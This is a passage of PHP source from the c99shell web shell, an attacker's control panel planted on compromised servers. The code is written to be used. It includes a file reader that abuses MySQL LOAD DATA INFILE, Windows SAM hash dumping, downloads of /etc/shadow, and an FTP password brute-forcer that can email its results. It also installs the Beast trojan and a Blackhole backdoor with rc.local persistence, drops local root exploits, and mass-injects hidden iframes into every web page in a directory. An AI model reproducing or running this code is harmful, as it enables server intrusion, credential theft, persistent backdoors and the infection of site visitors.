  1673. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
  1674. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  1675. echo "<tr>";
  1676. echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1677. for ($i=0;$i<mysql_num_fields($result);$i++)
  1678. {
  1679. $v = mysql_field_name($result,$i);
  1680. if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1681. else {$s = "a"; $m = "desc";}
  1682. echo "<td>";
  1683. if (empty($e[0])) {$e[0] = "a";}
  1684. if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1685. else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1686. echo "</td>";
  1687. }
  1688. echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1689. echo "</tr>";
  1690. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1691. {
  1692. echo "<tr>";
  1693. $w = "";
  1694. $i = 0;
  1695. foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1696. if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1697. echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1698. $i = 0;
  1699. foreach ($row as $k=>$v)
  1700. {
  1701. $v = htmlspecialchars($v);
  1702. if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1703. echo "<td>".$v."</td>";
  1704. $i++;
  1705. }
  1706. echo "<td>";
  1707. echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
  1708. echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
  1709. echo "</td>";
  1710. echo "</tr>";
  1711. }
  1712. mysql_free_result($result);
  1713. echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1714. echo "<option value=\"\">With selected:</option>";
  1715. echo "<option value=\"deleterow\">Delete</option>";
  1716. echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
  1717. }
  1718. }
  1719. else
  1720. {
  1721. $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1722. if (!$result) {echo mysql_smarterror();}
  1723. else
  1724. {
  1725. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1726. $i = 0;
  1727. $tsize = $trows = 0;
  1728. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1729. {
  1730. $tsize += $row["Data_length"];
  1731. $trows += $row["Rows"];
  1732. $size = view_size($row["Data_length"]);
  1733. echo "<tr>";
  1734. echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1735. echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
  1736. echo "<td>".$row["Rows"]."</td>";
  1737. echo "<td>".$row["Type"]."</td>";
  1738. echo "<td>".$row["Create_time"]."</td>";
  1739. echo "<td>".$row["Update_time"]."</td>";
  1740. echo "<td>".$size."</td>";
  1741. echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>  <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
  1742. echo "</tr>";
  1743. $i++;
  1744. }
  1745. echo "<tr bgcolor=\"000000\">";
  1746. echo "<td><center><b>+</b></center></td>";
  1747. echo "<td><center><b>".$i." table(s)</b></center></td>";
  1748. echo "<td><b>".$trows."</b></td>";
  1749. echo "<td>".$row[1]."</td>";
  1750. echo "<td>".$row[10]."</td>";
  1751. echo "<td>".$row[11]."</td>";
  1752. echo "<td><b>".view_size($tsize)."</b></td>";
  1753. echo "<td></td>";
  1754. echo "</tr>";
  1755. echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1756. echo "<option value=\"\">With selected:</option>";
  1757. echo "<option value=\"tbldrop\">Drop</option>";
  1758. echo "<option value=\"tblempty\">Empty</option>";
  1759. echo "<option value=\"tbldump\">Dump</option>";
  1760. echo "<option value=\"tblcheck\">Check table</option>";
  1761. echo "<option value=\"tbloptimize\">Optimize table</option>";
  1762. echo "<option value=\"tblrepair\">Repair table</option>";
  1763. echo "<option value=\"tblanalyze\">Analyze table</option>";
  1764. echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
  1765. mysql_free_result($result);
  1766. }
  1767. }
  1768. }
  1769. }
  1770. }
  1771. else
  1772. {
  1773. $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1774. if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1775. if (!empty($sql_act))
  1776. {
  1777. echo "<hr size=\"1\" noshade>";
  1778. if ($sql_act == "newdb")
  1779. {
  1780. echo "<b>";
  1781. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1782. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1783. }
  1784. if ($sql_act == "serverstatus")
  1785. {
  1786. $result = mysql_query("SHOW STATUS", $sql_sock);
  1787. echo "<center><b>Server-status variables:</b><br><br>";
  1788. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1789. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1790. echo "</table></center>";
  1791. mysql_free_result($result);
  1792. }
  1793. if ($sql_act == "servervars")
  1794. {
  1795. $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1796. echo "<center><b>Server variables:</b><br><br>";
  1797. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1798. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1799. echo "</table>";
  1800. mysql_free_result($result);
  1801. }
  1802. if ($sql_act == "processes")
  1803. {
  1804. if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1805. $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1806. echo "<center><b>Processes:</b><br><br>";
  1807. echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1808. while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1809. echo "</table>";
  1810. mysql_free_result($result);
  1811. }
  1812. if ($sql_act == "getfile")
  1813. {
  1814. $tmpdb = $sql_login."_tmpdb";
  1815. $select = mysql_select_db($tmpdb);
  1816. if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1817. if ($select)
  1818. {
  1819. $created = FALSE;
  1820. mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1821. mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1822. $result = mysql_query("SELECT * FROM tmp_file;");
  1823. if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1824. else
  1825. {
  1826. for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1827. $f = "";
  1828. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1829. if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1830. else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1831. mysql_free_result($result);
  1832. mysql_query("DROP TABLE tmp_file;");
  1833. }
  1834. }
  1835. mysql_drop_db($tmpdb); //comment it if you want to leave database
  1836. }
  1837. }
  1838. }
  1839. }
  1840. echo "</td></tr></table>";
  1841. if ($sql_sock)
  1842. {
  1843. $affected = @mysql_affected_rows($sql_sock);
  1844. if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1845. echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1846. }
  1847. echo "</table>";
  1848. }
  1849. if ($act == 'grablogins') {
  1850. if ($win) {
  1851. echo '<b>Grab Windows Logins:</b><br><br>';
  1852. if (file_exists($_SERVER['WINDIR'])) {
  1853. echo 'Download backup SAM file: <a href="'.$surl.'act=f&f=sam&ft=download&d='.$_SERVER["WINDIR"].'\repair\"><b>'.$_SERVER['WINDIR'].'\repair\SAM</b></a><br><br>';
  1854. } else {
  1855. echo 'There\'s no backup SAM file!';
  1856. }
  1857. echo '<a href="'.$surl.'act=grablogins&dumphashes=samdump"><b>Execute SAMDUMP</b></a><br><br>';
  1858. if ($_GET['dumphashes'] == 'samdump') {
  1859. if (is_writable('.')) {
  1860. cf('samdump.exe', $samdump);
  1861. exec('samdump.exe '.$_SERVER['WINDIR'].'\repair\sam', $blah);
  1862. echo '<textarea cols=175 rows=10>';
  1863. foreach ($blah as $samline)
  1864. echo htmlentities($samline)."\n";
  1865. echo '</textarea><br><br>';
  1866. if (file_exists('samdump.exe'))
  1867. unlink('samdump.exe');
  1868. }else{
  1869. echo 'Directory Is Not Writable!<br>';
  1870. }
  1871. } // end if samdump was called
  1872. echo '<a href="'.$surl.'act=grablogins&dumphashes=pwdump2"><b>Execute PWDUMP2</b></a><br><br>';
  1873. if ($_GET['dumphashes'] == 'pwdump2') {
  1874. if (is_writable('.')) {
  1875. cf('pwdump2.exe', $pwdump2);
  1876. cf('samdump.dll', $samdumpdll);
  1877. exec('pwdump2.exe', $blah);
  1878. echo '<textarea cols=175 rows=10>';
  1879. if ($blah) {
  1880. foreach ($blah as $samline)
  1881. echo htmlentities($samline)."\n";
  1882. } else {
  1883. echo 'Couldn\'t get hashes!';
  1884. }
  1885. echo '</textarea><br><br>';
  1886. if (file_exists('pwdump2.exe'))
  1887. unlink('pwdump2.exe');
  1888. if (file_exists('samdump.dll'))
  1889. unlink('samdump.dll');
  1890. }else{
  1891. echo 'Directory Is Not Writable!<br>';
  1892. }
  1893. } // end if pwdump2 was called
  1894.  
  1895. } else { // if not windows
  1896. echo '<b>Grab *nix Logins:</b><br><br>';
  1897. if (file_exists('/etc/passwd'))
  1898. echo 'Download passwd: <a href="'.$surl.'act=f&f=passwd&ft=download&d=/etc/"><b>/etc/passwd</b>';
  1899. if (file_exists('/etc/master.passwd'))
  1900. echo 'Download master.passwd: <a href="'.$surl.'act=f&f=master.passwd&ft=download&d=/etc/"><b>/etc/master.passwd</b> <- 1% chance you can view this';
  1901. if (file_exists('/etc/shadow'))
  1902. echo 'Download shadow: <a href="'.$surl.'act=f&f=shadow&ft=download&d=/etc/"><b>/etc/shadow</b> <- 1% chance you can view this';
  1903. }
  1904. }
  1905. if ($act == "mkdir")
  1906. {
  1907. if ($mkdir != $d)
  1908. {
  1909. if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1910. elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1911. echo "<br><br>";
  1912. }
  1913. $act = $dspact = "ls";
  1914. }
  1915. if ($act == "ftpquickbrute")
  1916. {
  1917. echo "<b>Ftp Quick brute:</b><br>";
  1918. if (!win) {echo "This function does not work in Windows!<br><br>";}
  1919. else
  1920. {
  1921. function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1922. {
  1923. if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1924. else {$TRUE = TRUE;}
  1925. if ($TRUE)
  1926. {
  1927. $sock = @ftp_connect($host,$port,$timeout);
  1928. if (@ftp_login($sock,$login,$pass))
  1929. {
  1930. echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1931. ob_flush();
  1932. return TRUE;
  1933. }
  1934. }
  1935. }
  1936. if (!empty($submit))
  1937. {
  1938. if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1939. $fp = fopen("/etc/passwd","r");
  1940. if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1941. else
  1942. {
  1943. if ($fqb_logging)
  1944. {
  1945. if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1946. else {$fqb_logfp = FALSE;}
  1947. $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1948. if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1949. }
  1950. ob_flush();
  1951. $i = $success = 0;
  1952. $ftpquick_st = getmicrotime();
  1953. while(!feof($fp))
  1954. {
  1955. $str = explode(":",fgets($fp,2048));
  1956. if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1957. {
  1958. echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1959. $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1960. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1961. $success++;
  1962. ob_flush();
  1963. }
  1964. if ($i > $fqb_lenght) {break;}
  1965. $i++;
  1966. }
  1967. if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1968. $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1969. echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1970. $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1971. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1972. if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1973. fclose($fqb_logfp);
  1974. }
  1975. }
  1976. else
  1977. {
  1978. $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1979. $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1980. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1981. }
  1982. }
  1983. }
  1984. if ($act == 'd')
  1985. {
  1986. if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1987. else
  1988. {
  1989. echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1990. if (!$win)
  1991. {
  1992. echo "<tr><td><b>Owner/Group</b></td><td> ";
  1993. $ow = posix_getpwuid(fileowner($d));
  1994. $gr = posix_getgrgid(filegroup($d));
  1995. $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1996. }
  1997. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1998. }
  1999. }
  2000. if ($act == 'phpinfo') {@ob_clean(); phpinfo(); c99shexit();}
  2001.  
  2002. if ($act == 'trojan') {
  2003. echo '<b>Install Trojan Server:</b><br><br>';
  2004. if ($win) {
  2005. echo 'Please keep in mind that these are <u>not</u> undetectable trojans. Any decent anti-virus will pick them up, and they take no action to bypass firewalls or routers. Use at your own risk.<br><br>';
  2006. ?>
  2007. <form action="<?php echo $surl; ?>" method=GET>
  2008. Choose Trojan: <select name="choosetrojan">
  2009. <option value="beast">Beast v2.07</option>
  2010. </select>
  2011. <input type=hidden name="act" value="trojan">
  2012. <input type=submit value="Install Server">
  2013. </form>
  2014. <?php
  2015. $choosetrojan = $_GET['choosetrojan'];
  2016. if ($choosetrojan == 'beast') {
  2017. if (is_writable('.')) {
  2018. cf('server.exe', $beast);
  2019. exec('server.exe');
  2020. echo 'Beast trojan server is running on port 6666 with no password.<br>';
  2021. }else{
  2022. echo 'Directory Is Not Writable!<br>';
  2023. }
  2024. } // end if beast was called
  2025. } else { // if not windows
  2026. ?>
  2027. <b>Install Backdoor:</b><br><br>
  2028. <form action="<?php echo $surl; ?>" method=GET>
  2029. Choose Backdoor: <select name="choosebackdoor">
  2030. <option value="blackhole">Blackhole</option>
  2031. </select>
  2032. <input type=hidden name="act" value="trojan">
  2033. <input type=submit value="Install Server">
  2034. </form>
  2035. <?php
  2036. $choosebackdoor = $_GET['choosebackdoor'];
  2037. if ($choosebackdoor == 'blackhole') {
  2038. if (is_writable('.')) {
  2039. cf('apache', $blackhole);
  2040. echo 'Blackhole is _not_ running. Go to the shell and run it yourself. Here\'s the example from the readme:<br><pre> # ./backhole &
  2041. i.e. # mv backhole /some/path/fakemail
  2042. # chmod 4770 /path/to/fakemail
  2043. # echo "/path/to/fakemail &" >> /etc/rc.d/rc.local
  2044. # /path/to/fakemail &</pre>Blackhole is configured to run under the process name \'apache\' on port 6875.<br>';
  2045. }else{
  2046. echo 'Directory Is Not Writable!<br>';
  2047. }
  2048. } // end if beast was called
  2049.  
  2050.  
  2051. } // end if windows/unix
  2052. } // end if trojan was called
  2053.  
  2054. if ($act == 'exploits') {
  2055. ?>
  2056. <b>Exploits:</b>
  2057. <br><br>
  2058. All exploits are pre-compiled. Just follow the directions.
  2059. <br><br>
  2060. <a href="<?php echo $surl; ?>act=exploits&sploit=h00lyshit">h00lyshit - Local Race Exploit</a>
  2061. <?php
  2062. if ($_GET['sploit'] == 'h00lyshit') {
  2063. if (is_writable('.')) {
  2064. cf('h00lyshit', $h00lyshit);
  2065. echo htmlentities('h00lyshit was created in the script directory. Now go find/make a 100mb file and execute "./h00lyshit <path_to_100mb_file>".');
  2066. }else{
  2067. echo 'Directory Is Not Writable!<br>';
  2068. }
  2069. } // end if h00lyshit was called
  2070. ?>
  2071. <br><br>
  2072. <a href="<?php echo $surl; ?>act=exploits&sploit=raptorchown">raptor_chown - Group Modification Exploit</a>
  2073. <?php
  2074. if ($_GET['sploit'] == 'raptorchown') {
  2075. if (is_writable('.')) {
  2076. cf('raptor_chown', $raptorchown);
  2077. echo htmlentities('raptor_chown was created in the script directory. Now execute "./raptor_chown <path_to_file_you_want_to_edit_group_of>".');
  2078. }else{
  2079. echo 'Directory Is Not Writable!<br>';
  2080. }
  2081. } // end if raptor_chown was called
  2082.  
  2083.  
  2084. } // end if exploits is called
  2085. if ($act == 'massbrowsersploit') {
  2086. ?>
  2087. <b>Mass Code Injection:</b><br><br>
  2088. Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
  2089. <form action="<?php echo $surl; ?>" method=GET>
  2090. <input type=hidden name="masssploit" value="goahead">
  2091. <input type=hidden name="act" value="massbrowsersploit">
  2092. <table border=0>
  2093. <tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
  2094. <tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
  2095. <tr><td><input type=submit value="Inject Code"></td></tr>
  2096. </table>
  2097. </form>
  2098. <?php
  2099. if ($_GET['masssploit'] == 'goahead') {
  2100. if (is_dir($_GET['pathtomass'])) {
  2101. $lolinject = $_GET['injectthis'];
  2102. foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
  2103. $fp=fopen($injectj00,"a+");
  2104. if (fputs($fp,$lolinject)){
  2105. echo $injectj00.' was injected<br>';
  2106. } else {
  2107. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  2108. }
  2109. }
  2110. foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
  2111. $fp=fopen($injectj00,"a+");
  2112. if (fputs($fp,$lolinject)){
  2113. echo $injectj00.' was injected<br>';
  2114. } else {
  2115. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  2116. }
  2117. }
  2118. foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
  2119. $fp=fopen($injectj00,"a+");
  2120. if (fputs($fp,$lolinject)){
  2121. echo $injectj00.' was injected<br>';
  2122. } else {
  2123. echo '<font color=red>failed to inject '.$injectj00.'</font>';
  2124. }
  2125. }
  2126. } else { //end if inputted dir is real -- if not, show an ugly red error
  2127. echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
  2128. } // end if inputted dir is real, for real this time
  2129. } // end if confirmation to mass sploit is go
  2130. } // end if massbrowsersploit is called
  2131.  
  2132. if ($act == 'security')
  2133. {
  2134. echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  2135. if (!$win)
  2136. {
  2137. if ($nixpasswd)
  2138. {
  2139. if ($nixpasswd == 1) {$nixpasswd = 0;}
  2140. echo "<b>*nix /etc/passwd:</b><br>";
  2141. if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  2142. if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  2143. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
  2144. $i = $nixpwd_s;
  2145. while ($i < $nixpwd_e)
  2146. {
  2147. $uid = posix_getpwuid($i);
  2148. if ($uid)
  2149. {
  2150. $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  2151. echo join(":",$uid)."<br>";
  2152. }
  2153. $i++;
  2154. }
  2155. }
  2156. else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  2157. if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  2158. if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  2159. if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  2160. if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  2161. if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
